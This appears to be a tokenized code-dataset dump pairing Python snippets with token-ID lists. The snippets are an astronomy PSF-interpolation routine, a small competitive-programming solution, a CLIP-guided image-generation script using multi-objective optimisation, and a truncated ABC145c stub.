index_of_1st_closest_simulated_psf=\
np.where(np.abs(distances_of_y_requested_position_from_avaliable)==\
np.sort(np.abs(distances_of_y_requested_position_from_avaliable))[0])[0][0]
index_of_2nd_closest_simulated_psf=\
np.where(np.abs(distances_of_y_requested_position_from_avaliable)==\
np.sort(np.abs(distances_of_y_requested_position_from_avaliable))[1])[0][0]
# where are these 2 closest PSF in the initial table
index_of_1st_closest_simulated_psf_in_positions_of_simulation=\
np.where(np.sum(positions_of_simulation,axis=1)==\
np.sum(positions_of_simulation_in_acceptable_x_range[index_of_1st_closest_simulated_psf]))[0][0]
index_of_2nd_closest_simulated_psf_in_positions_of_simulation=\
np.where(np.sum(positions_of_simulation,axis=1)==\
np.sum(positions_of_simulation_in_acceptable_x_range[index_of_2nd_closest_simulated_psf]))[0][0]
# extract the 2 simulated PSFs
first_array_simulation=\
array_of_simulation[index_of_1st_closest_simulated_psf_in_positions_of_simulation]
second_array_simulation=\
array_of_simulation[index_of_2nd_closest_simulated_psf_in_positions_of_simulation]
# distance of each PSF from the proposed position
y1_distance=\
y-positions_of_simulation[index_of_1st_closest_simulated_psf_in_positions_of_simulation][2]
y2_distance=\
y-positions_of_simulation[index_of_2nd_closest_simulated_psf_in_positions_of_simulation][2]
# if you requested psf at the exact position of existing PSF use that one
if y1_distance==0:
return first_array_simulation
else:
# create the predicted PSF as a linear interpolation of these two PSFs
predicted_psf=(second_array_simulation-first_array_simulation*(y2_distance/y1_distance))/(1-y2_distance/y1_distance)
return predicted_psf
| [
198,
11748,
299,
32152,
355,
45941,
198,
198,
4299,
2148,
62,
3705,
37,
62,
17,
35,
7,
87,
28,
14202,
11,
88,
28,
14202,
11,
3705,
37,
62,
9641,
28,
14202,
2599,
198,
220,
220,
220,
37227,
47081,
362,
35,
6599,
37,
379,
597,
2292,
287,
262,
31029,
6614,
198,
220,
220,
220,
220,
220,
220,
220,
770,
257,
2196,
543,
2753,
257,
27454,
299,
549,
647,
286,
662,
27568,
6599,
37,
290,
3467,
198,
220,
220,
220,
220,
220,
220,
220,
8075,
262,
39555,
515,
2196,
379,
2672,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
357,
29783,
25,
2196,
543,
2753,
39555,
515,
3815,
329,
1168,
1142,
522,
3467,
198,
220,
220,
220,
220,
220,
220,
220,
44036,
290,
18616,
2939,
319,
262,
6129,
10091,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1675,
307,
973,
351,
262,
5670,
1366,
2077,
319,
2901,
1679,
290,
2608,
198,
220,
220,
220,
220,
220,
220,
220,
357,
68,
13,
70,
1539,
28277,
405,
329,
367,
70,
3163,
11,
26881,
3023,
329,
3169,
11,
29217,
2919,
329,
13685,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
17934,
8748,
25,
7559,
15234,
485,
62,
3705,
37,
62,
17,
35,
7,
940,
11,
10333,
8,
7061,
838,
318,
2124,
12,
37652,
4559,
11,
198,
220,
220,
220,
220,
220,
220,
220,
290,
3050,
318,
331,
12,
37652,
4559,
220,
220,
220,
220,
220,
220,
220,
220,
628,
220,
220,
220,
2488,
17143,
58,
259,
60,
2124,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2124,
12,
37652,
4559,
198,
220,
220,
220,
2488,
17143,
58,
259,
60,
331,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
331,
12,
37652,
4559,
198,
220,
220,
220,
2488,
17143,
58,
259,
60,
6599,
37,
62,
9641,
220,
2196,
286,
262,
6599,
37,
5128,
3696,
198,
220,
220,
220,
2488,
7783,
82,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
299,
32152,
7177,
11,
1802,
87,
3064,
11,
10753,
321,
10137,
642,
1661,
11,
220,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
11188,
284,
1160,
87,
1238,
3518,
17848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
357,
6200,
87,
6200,
12314,
12212,
8,
198,
220,
220,
220,
37227,
220,
220,
220,
220,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
319,
26241,
262,
8619,
542,
7574,
7177,
286,
6599,
42388,
318,
379,
25,
198,
220,
220,
220,
42865,
62,
17931,
23988,
15513,
11639,
14,
83,
328,
601,
14,
77,
6888,
489,
283,
14,
47,
4061,
36,
17,
35,
12,
17885,
14,
6,
198,
220,
220,
220,
220,
198,
220,
220,
220,
611,
6599,
37,
62,
9641,
318,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
6599,
37,
62,
9641,
11639,
19117,
1065,
62,
85,
16,
6,
628,
220,
220,
220,
6116,
62,
1659,
62,
14323,
1741,
28,
37659,
13,
2220,
7,
26947,
62,
17931,
23988,
15513,
10,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
1930,
1756,
62,
1659,
62,
14323,
1741,
62,
405,
62,
6738,
62,
6,
10,
3705,
37,
62,
9641,
10,
4458,
77,
9078,
11537,
198,
220,
220,
220,
7177,
62,
1659,
62,
14323,
1741,
28,
37659,
13,
2220,
7,
26947,
62,
17931,
23988,
15513,
10,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
18747,
62,
1659,
62,
14323,
1741,
62,
405,
62,
6738,
62,
6,
10,
3705,
37,
62,
9641,
10,
4458,
77,
9078,
11537,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
2124,
290,
331,
2292,
351,
28590,
6599,
42388,
198,
220,
220,
220,
2124,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
28,
1930,
1756,
62,
1659,
62,
14323,
1741,
58,
45299,
16,
60,
198,
220,
220,
220,
331,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
28,
1930,
1756,
62,
1659,
62,
14323,
1741,
58,
45299,
17,
60,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
770,
318,
257,
2829,
2438,
326,
7228,
262,
11706,
37441,
3379,
6599,
42388,
11,
1813,
262,
2124,
290,
331,
2292,
198,
220,
220,
220,
1303,
770,
481,
423,
284,
307,
6596,
287,
1502,
618,
356,
651,
284,
670,
351,
262,
1336,
22331,
390,
310,
9250,
6614,
198,
220,
220,
220,
220,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
703,
1290,
287,
2124,
12,
46156,
389,
345,
4684,
284,
2989,
329,
11080,
28590,
6599,
42388,
198,
220,
220,
220,
2124,
62,
12947,
62,
30246,
28,
1238,
198,
220,
220,
220,
1303,
6116,
286,
477,
28590,
6599,
42388,
287,
326,
2837,
198,
220,
220,
220,
6116,
62,
1659,
62,
14323,
1741,
62,
259,
62,
16037,
62,
87,
62,
9521,
28,
59,
198,
220,
220,
220,
6116,
62,
1659,
62,
14323,
1741,
58,
7,
87,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
27,
7,
87,
10,
87,
62,
12947,
62,
30246,
4008,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1222,
7,
87,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
33994,
87,
12,
87,
62,
12947,
62,
30246,
4008,
60,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
611,
612,
389,
645,
28590,
6599,
37,
37441,
3379,
287,
262,
7368,
2124,
12,
9521,
356,
389,
407,
1498,
284,
2148,
262,
4610,
198,
220,
220,
220,
611,
18896,
7,
1930,
1756,
62,
1659,
62,
14323,
1741,
62,
259,
62,
16037,
62,
87,
62,
9521,
8,
27,
17,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
2949,
28590,
6599,
42388,
389,
37441,
3379,
287,
428,
2124,
12,
20337,
286,
262,
31029,
4032,
8,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
26949,
780,
428,
13608,
468,
407,
587,
35162,
26,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
7783,
278,
262,
11706,
37441,
3379,
6599,
42388,
11,
21728,
326,
318,
2192,
407,
644,
345,
765,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
18868,
28,
37659,
13,
31166,
17034,
19510,
7,
87,
12,
87,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
8,
1174,
17,
10,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
357,
88,
12,
88,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
8,
1174,
17,
737,
459,
2981,
7,
22468,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
6376,
62,
1659,
62,
565,
418,
395,
62,
30246,
28,
37659,
13,
3003,
7,
17080,
1817,
58,
17080,
1817,
855,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45941,
13,
1084,
7,
17080,
1817,
8,
12962,
58,
15,
7131,
15,
60,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
7177,
62,
1659,
62,
14323,
1741,
58,
9630,
62,
1659,
62,
565,
418,
395,
62,
30246,
60,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
331,
12,
30246,
422,
262,
9167,
6116,
329,
477,
286,
262,
11080,
28590,
6599,
42388,
198,
220,
220,
220,
18868,
62,
1659,
62,
88,
62,
25927,
276,
62,
9150,
62,
6738,
62,
9226,
3379,
28,
59,
198,
220,
220,
220,
331,
12,
1930,
1756,
62,
1659,
62,
14323,
1741,
62,
259,
62,
16037,
62,
87,
62,
9521,
58,
45299,
17,
60,
198,
220,
220,
220,
1303,
503,
286,
262,
11080,
6599,
42388,
543,
362,
389,
262,
11706,
198,
220,
220,
220,
6376,
62,
1659,
62,
16,
301,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
28,
59,
198,
220,
220,
220,
45941,
13,
3003,
7,
37659,
13,
8937,
7,
17080,
1817,
62,
1659,
62,
88,
62,
25927,
276,
62,
9150,
62,
6738,
62,
9226,
3379,
8,
855,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45941,
13,
30619,
7,
37659,
13,
8937,
7,
17080,
1817,
62,
1659,
62,
88,
62,
25927,
276,
62,
9150,
62,
6738,
62,
9226,
3379,
4008,
58,
15,
12962,
58,
15,
7131,
15,
60,
198,
220,
220,
220,
6376,
62,
1659,
62,
17,
358,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
28,
59,
198,
220,
220,
220,
45941,
13,
3003,
7,
37659,
13,
8937,
7,
17080,
1817,
62,
1659,
62,
88,
62,
25927,
276,
62,
9150,
62,
6738,
62,
9226,
3379,
8,
855,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45941,
13,
30619,
7,
37659,
13,
8937,
7,
17080,
1817,
62,
1659,
62,
88,
62,
25927,
276,
62,
9150,
62,
6738,
62,
9226,
3379,
4008,
58,
16,
12962,
58,
15,
7131,
15,
60,
198,
220,
220,
220,
1303,
810,
389,
777,
362,
11706,
6599,
37,
287,
262,
4238,
3084,
198,
220,
220,
220,
6376,
62,
1659,
62,
16,
301,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
28,
59,
198,
220,
220,
220,
45941,
13,
3003,
7,
37659,
13,
16345,
7,
1930,
1756,
62,
1659,
62,
14323,
1741,
11,
22704,
28,
16,
8,
855,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45941,
13,
16345,
7,
1930,
1756,
62,
1659,
62,
14323,
1741,
62,
259,
62,
16037,
62,
87,
62,
9521,
58,
9630,
62,
1659,
62,
16,
301,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
60,
4008,
58,
15,
7131,
15,
60,
198,
220,
220,
220,
6376,
62,
1659,
62,
17,
358,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
28,
59,
198,
220,
220,
220,
45941,
13,
3003,
7,
37659,
13,
16345,
7,
1930,
1756,
62,
1659,
62,
14323,
1741,
11,
22704,
28,
16,
8,
855,
59,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45941,
13,
16345,
7,
1930,
1756,
62,
1659,
62,
14323,
1741,
62,
259,
62,
16037,
62,
87,
62,
9521,
58,
9630,
62,
1659,
62,
17,
358,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
60,
4008,
58,
15,
7131,
15,
60,
198,
220,
220,
220,
1303,
7925,
262,
362,
28590,
6599,
42388,
198,
220,
220,
220,
717,
62,
18747,
62,
14323,
1741,
28,
59,
198,
220,
220,
220,
7177,
62,
1659,
62,
14323,
1741,
58,
9630,
62,
1659,
62,
16,
301,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
60,
198,
220,
220,
220,
1218,
62,
18747,
62,
14323,
1741,
28,
59,
198,
220,
220,
220,
7177,
62,
1659,
62,
14323,
1741,
58,
9630,
62,
1659,
62,
17,
358,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
60,
198,
220,
220,
220,
1303,
5253,
286,
1123,
6599,
37,
422,
262,
5150,
2292,
198,
220,
220,
220,
331,
16,
62,
30246,
28,
59,
198,
220,
220,
220,
331,
12,
1930,
1756,
62,
1659,
62,
14323,
1741,
58,
9630,
62,
1659,
62,
16,
301,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
7131,
17,
60,
198,
220,
220,
220,
331,
17,
62,
30246,
28,
59,
198,
220,
220,
220,
331,
12,
1930,
1756,
62,
1659,
62,
14323,
1741,
58,
9630,
62,
1659,
62,
17,
358,
62,
565,
418,
395,
62,
14323,
4817,
62,
862,
69,
62,
259,
62,
1930,
1756,
62,
1659,
62,
14323,
1741,
7131,
17,
60,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
611,
345,
9167,
26692,
69,
379,
262,
2748,
2292,
286,
4683,
6599,
37,
779,
326,
530,
198,
220,
220,
220,
611,
331,
16,
62,
30246,
855,
15,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
717,
62,
18747,
62,
14323,
1741,
198,
220,
220,
220,
2073,
25,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
2251,
262,
11001,
6599,
37,
355,
257,
14174,
39555,
341,
286,
777,
734,
6599,
42388,
198,
220,
220,
220,
220,
220,
220,
220,
11001,
62,
862,
69,
16193,
12227,
62,
18747,
62,
14323,
1741,
12,
11085,
62,
18747,
62,
14323,
1741,
9,
7,
88,
17,
62,
30246,
14,
88,
16,
62,
30246,
4008,
29006,
16,
12,
88,
17,
62,
30246,
14,
88,
16,
62,
30246,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
11001,
62,
862,
69,
198,
220,
220,
220,
220
] | 2.309231 | 2,199 |
import sys
for i in sys.stdin:
ab = i.split()
n = int(ab[0])
h = int(ab[1])
v = int(ab[2])
print(max(h, n - h) * max(v, n - v) * 4)
| [
11748,
25064,
198,
198,
1640,
1312,
287,
25064,
13,
19282,
259,
25,
198,
220,
220,
220,
450,
796,
1312,
13,
35312,
3419,
198,
220,
220,
220,
299,
796,
493,
7,
397,
58,
15,
12962,
198,
220,
220,
220,
289,
796,
493,
7,
397,
58,
16,
12962,
198,
220,
220,
220,
410,
796,
493,
7,
397,
58,
17,
12962,
628,
220,
220,
220,
3601,
7,
9806,
7,
71,
11,
299,
532,
289,
8,
1635,
3509,
7,
85,
11,
299,
532,
410,
8,
1635,
604,
8,
628
] | 1.823529 | 85 |
import torch
import numpy as np
import pickle
import os
from PIL import Image
from pathlib import Path
from tqdm import tqdm
import dnnlib, legacy
import clip
import torch.nn.functional as F
import torchvision.transforms as T
import scipy
import warnings
import torchvision.models
from pymoo.core.problem import Problem
from pymoo.algorithms.moo.nsga2 import NSGA2
from pymoo.factory import get_sampling, get_crossover, get_mutation , get_selection
from pymoo.factory import get_decomposition
from pymoo.util.termination.default import MultiObjectiveDefaultTermination
from pymoo.optimize import minimize
from pymoo.util.display import Display
import time
import sys
import argparse
import shutil
from pymoo.visualization.scatter import Scatter
from numpy.linalg import norm
import matplotlib.pyplot as plt
import json
from qqdm import qqdm, format_str
from attn_loss import attention_lib,losses
import re
# ignore errors
warnings.filterwarnings('ignore')
# gen_model is used to get proper clip model for image genetate
gen_model_name = 'ViT-B/16'
# dis_model is used to grading an image and an text simularity
dis_model_name = 'ViT-L/14@336px'
# for verbose to display processing step
# timing
# generating image
# loading pre-training model
# generating (tensor)image using text feature and noise
# transform tensor into image
# scoring with text and image labels
# pick image with highest score
# generate image score using [text,image,labels]
# get socre from noise
# generate image using noise
# for tournament selection
if __name__ == '__main__':
# parser for convenient using
parser = argparse.ArgumentParser()
# whether to run get fesiable solution or not
parser.add_argument('-r', '--run', action='store_true',default = False)
# setting text
parser.add_argument('-t', '--text',type = str,default = 'a dog lying on an orange couch in the living room.')
# setting image generation (for normal generating)
parser.add_argument('-n', '--num',type = int,default = 10)
# pick #image
parser.add_argument('-p', '--pick',type = int,default = 1)
# get fesiable solution setting
parser.add_argument('-s', '--set',type = str,default = '1 1 1')
# draw plot
parser.add_argument('-d', '--draw',action='store_true',default = False)
# save memory
parser.add_argument('-m', '--save_mem',action='store_true',default = False)
args = parser.parse_args()
# split setting sentence
set_list = args.set
set_list = set_list.split()
pop = int(set_list[0])
ofs = int(set_list[1])
gen = int(set_list[2])
t = Timer()
txt = args.text
if not os.path.exists('image_result/{}'.format(txt)):
os.mkdir('image_result/{}'.format(txt))
path = 'image_result/{}/noise.txt'.format(txt)
f = open(path, 'w')
print('generate text = {}'.format(txt))
# run get fesiable solution
if args.run==True :
print('find fes : pop = {} , ofs = {} , gen = {}'.format(pop,ofs,gen))
res = get_fes(txt = txt,pop = pop, ofs = ofs,gen = gen)
# np.set_printoptions(threshold=sys.maxsize)
# print(res.X,file = f)
# draw pareto front
if args.draw == True:
ploter(res.F)
# generating image from res.X (nds)
# gen_from_noises(txt = txt,noises = res.X)
# Multi-Criteria Decision Making
best_res_id = mcdm(res)
gen_from_noises(txt = txt,noises = np.array([res.X[best_res_id]]),name = 'best_pick')
# store memory
if args.save_mem == True:
make_memory(txt = txt,noise = res.X[best_res_id])
# gen_from_noises(txt = txt,noises = np.array([noise_memory(txt = txt,pop = 1,pick = True)]),name = '123')
else :
print('generate {} images'.format(args.num))
gen_scored(txt = txt,image_n = args.num)
t.print_time()
f.close() | [
11748,
28034,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
2298,
293,
198,
11748,
28686,
198,
6738,
350,
4146,
1330,
7412,
198,
6738,
3108,
8019,
1330,
10644,
198,
6738,
256,
80,
36020,
1330,
256,
80,
36020,
198,
11748,
288,
20471,
8019,
11,
10655,
198,
11748,
10651,
198,
11748,
28034,
13,
20471,
13,
45124,
355,
376,
198,
11748,
28034,
10178,
13,
7645,
23914,
355,
309,
198,
11748,
629,
541,
88,
198,
11748,
14601,
198,
11748,
28034,
10178,
13,
27530,
198,
6738,
279,
4948,
2238,
13,
7295,
13,
45573,
1330,
20647,
198,
6738,
279,
4948,
2238,
13,
282,
7727,
907,
13,
76,
2238,
13,
5907,
4908,
17,
1330,
10896,
9273,
17,
198,
6738,
279,
4948,
2238,
13,
69,
9548,
1330,
651,
62,
37687,
11347,
11,
651,
62,
66,
23954,
11,
651,
62,
76,
7094,
837,
651,
62,
49283,
198,
6738,
279,
4948,
2238,
13,
69,
9548,
1330,
651,
62,
12501,
296,
9150,
198,
6738,
279,
4948,
2238,
13,
22602,
13,
41382,
13,
12286,
1330,
15237,
10267,
425,
19463,
15156,
17928,
198,
6738,
279,
4948,
2238,
13,
40085,
1096,
1330,
17775,
198,
6738,
279,
4948,
2238,
13,
22602,
13,
13812,
1330,
16531,
198,
11748,
640,
198,
11748,
25064,
198,
11748,
1822,
29572,
198,
11748,
4423,
346,
198,
6738,
279,
4948,
2238,
13,
41464,
1634,
13,
1416,
1436,
1330,
1446,
1436,
198,
6738,
299,
32152,
13,
75,
1292,
70,
1330,
2593,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
11748,
33918,
198,
6738,
10662,
80,
36020,
1330,
10662,
80,
36020,
11,
5794,
62,
2536,
198,
6738,
708,
77,
62,
22462,
1330,
3241,
62,
8019,
11,
22462,
274,
198,
11748,
302,
198,
198,
2,
8856,
8563,
198,
40539,
654,
13,
24455,
40539,
654,
10786,
46430,
11537,
198,
198,
2,
2429,
62,
19849,
318,
973,
284,
651,
1774,
10651,
2746,
329,
2939,
2429,
316,
378,
198,
5235,
62,
19849,
62,
3672,
796,
705,
38432,
51,
12,
33,
14,
1433,
6,
198,
198,
2,
595,
62,
19849,
318,
973,
284,
43165,
281,
2939,
290,
281,
2420,
985,
33737,
198,
6381,
62,
19849,
62,
3672,
796,
705,
38432,
51,
12,
43,
14,
1415,
31,
29211,
8416,
6,
198,
198,
2,
329,
15942,
577,
284,
3359,
7587,
2239,
628,
198,
2,
10576,
198,
198,
2,
15453,
2939,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
11046,
662,
12,
34409,
2746,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
15453,
357,
83,
22854,
8,
9060,
1262,
2420,
3895,
290,
7838,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
6121,
11192,
273,
656,
2939,
628,
198,
2,
9689,
351,
2420,
290,
2939,
14722,
628,
198,
2,
2298,
2939,
351,
4511,
4776,
628,
198,
2,
7716,
2939,
4776,
1262,
685,
5239,
11,
9060,
11,
23912,
1424,
60,
198,
198,
2,
651,
1307,
260,
422,
7838,
198,
198,
2,
7716,
2939,
1262,
7838,
198,
198,
2,
329,
7756,
6356,
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
628,
220,
220,
220,
1303,
30751,
329,
11282,
1262,
198,
220,
220,
220,
30751,
796,
1822,
29572,
13,
28100,
1713,
46677,
3419,
628,
220,
220,
220,
1303,
1771,
284,
1057,
651,
277,
274,
3379,
4610,
393,
407,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
81,
3256,
705,
438,
5143,
3256,
2223,
11639,
8095,
62,
7942,
3256,
12286,
796,
10352,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
4634,
2420,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
83,
3256,
705,
438,
5239,
3256,
4906,
796,
965,
11,
12286,
796,
705,
64,
3290,
9105,
319,
281,
10912,
18507,
287,
262,
2877,
2119,
2637,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
1303,
4634,
2939,
5270,
357,
1640,
3487,
15453,
8,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
77,
3256,
705,
438,
22510,
3256,
4906,
796,
493,
11,
12286,
796,
838,
8,
628,
220,
220,
220,
1303,
2298,
1303,
9060,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
79,
3256,
705,
438,
27729,
3256,
4906,
796,
493,
11,
12286,
796,
352,
8,
628,
220,
220,
220,
1303,
651,
277,
274,
3379,
4610,
4634,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
82,
3256,
705,
438,
2617,
3256,
4906,
796,
965,
11,
12286,
796,
705,
16,
352,
352,
11537,
628,
220,
220,
220,
1303,
3197,
7110,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
67,
3256,
705,
438,
19334,
3256,
2673,
11639,
8095,
62,
7942,
3256,
12286,
796,
10352,
8,
628,
220,
220,
220,
1303,
3613,
4088,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
76,
3256,
705,
438,
21928,
62,
11883,
3256,
2673,
11639,
8095,
62,
7942,
3256,
12286,
796,
10352,
8,
628,
220,
220,
220,
26498,
796,
30751,
13,
29572,
62,
22046,
3419,
628,
220,
220,
220,
1303,
6626,
4634,
6827,
198,
220,
220,
220,
900,
62,
4868,
796,
26498,
13,
2617,
198,
220,
220,
220,
900,
62,
4868,
796,
900,
62,
4868,
13,
35312,
3419,
198,
220,
220,
220,
1461,
796,
493,
7,
2617,
62,
4868,
58,
15,
12962,
198,
220,
220,
220,
286,
82,
796,
493,
7,
2617,
62,
4868,
58,
16,
12962,
198,
220,
220,
220,
2429,
796,
493,
7,
2617,
62,
4868,
58,
17,
12962,
628,
220,
220,
220,
256,
796,
5045,
263,
3419,
198,
220,
220,
220,
256,
742,
796,
26498,
13,
5239,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
1069,
1023,
10786,
9060,
62,
20274,
14,
90,
92,
4458,
18982,
7,
14116,
8,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
28686,
13,
28015,
15908,
10786,
9060,
62,
20274,
14,
90,
92,
4458,
18982,
7,
14116,
4008,
198,
220,
220,
220,
3108,
796,
705,
9060,
62,
20274,
14,
90,
92,
14,
3919,
786,
13,
14116,
4458,
18982,
7,
14116,
8,
198,
220,
220,
220,
277,
796,
1280,
7,
6978,
11,
705,
86,
11537,
628,
220,
220,
220,
3601,
10786,
8612,
378,
2420,
796,
23884,
4458,
18982,
7,
14116,
4008,
628,
220,
220,
220,
1303,
1057,
651,
277,
274,
3379,
4610,
198,
220,
220,
220,
611,
26498,
13,
5143,
855,
17821,
1058,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
19796,
277,
274,
1058,
1461,
796,
23884,
837,
286,
82,
796,
23884,
837,
2429,
796,
23884,
4458,
18982,
7,
12924,
11,
1659,
82,
11,
5235,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
581,
796,
651,
62,
69,
274,
7,
14116,
796,
256,
742,
11,
12924,
796,
1461,
11,
286,
82,
796,
286,
82,
11,
5235,
796,
2429,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
45941,
13,
2617,
62,
4798,
25811,
7,
400,
10126,
28,
17597,
13,
9806,
7857,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3601,
7,
411,
13,
55,
11,
7753,
796,
277,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
3197,
279,
533,
1462,
2166,
198,
220,
220,
220,
220,
220,
220,
220,
611,
26498,
13,
19334,
6624,
6407,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7110,
263,
7,
411,
13,
37,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
15453,
2939,
422,
581,
13,
55,
357,
358,
82,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
2429,
62,
6738,
62,
3919,
2696,
7,
14116,
796,
256,
742,
11,
3919,
2696,
796,
581,
13,
55,
8,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
15237,
12,
18559,
5142,
26423,
16427,
198,
220,
220,
220,
220,
220,
220,
220,
1266,
62,
411,
62,
312,
796,
285,
10210,
76,
7,
411,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2429,
62,
6738,
62,
3919,
2696,
7,
14116,
796,
256,
742,
11,
3919,
2696,
796,
45941,
13,
18747,
26933,
411,
13,
55,
58,
13466,
62,
411,
62,
312,
11907,
828,
3672,
796,
705,
13466,
62,
27729,
11537,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
3650,
4088,
198,
220,
220,
220,
220,
220,
220,
220,
611,
26498,
13,
21928,
62,
11883,
6624,
6407,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
787,
62,
31673,
7,
14116,
796,
256,
742,
11,
3919,
786,
796,
581,
13,
55,
58,
13466,
62,
411,
62,
312,
12962,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
2429,
62,
6738,
62,
3919,
2696,
7,
14116,
796,
256,
742,
11,
3919,
2696,
796,
45941,
13,
18747,
26933,
3919,
786,
62,
31673,
7,
14116,
796,
256,
742,
11,
12924,
796,
352,
11,
27729,
796,
6407,
15437,
828,
3672,
796,
705,
10163,
11537,
628,
220,
220,
220,
2073,
1058,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
8612,
378,
23884,
4263,
4458,
18982,
7,
22046,
13,
22510,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
2429,
62,
1416,
1850,
7,
14116,
796,
256,
742,
11,
9060,
62,
77,
796,
26498,
13,
22510,
8,
628,
220,
220,
220,
256,
13,
4798,
62,
2435,
3419,
198,
220,
220,
220,
277,
13,
19836,
3419
] | 2.622163 | 1,498 |
# ABC145c
if __name__ == '__main__':
main()
| [
2,
9738,
18781,
66,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
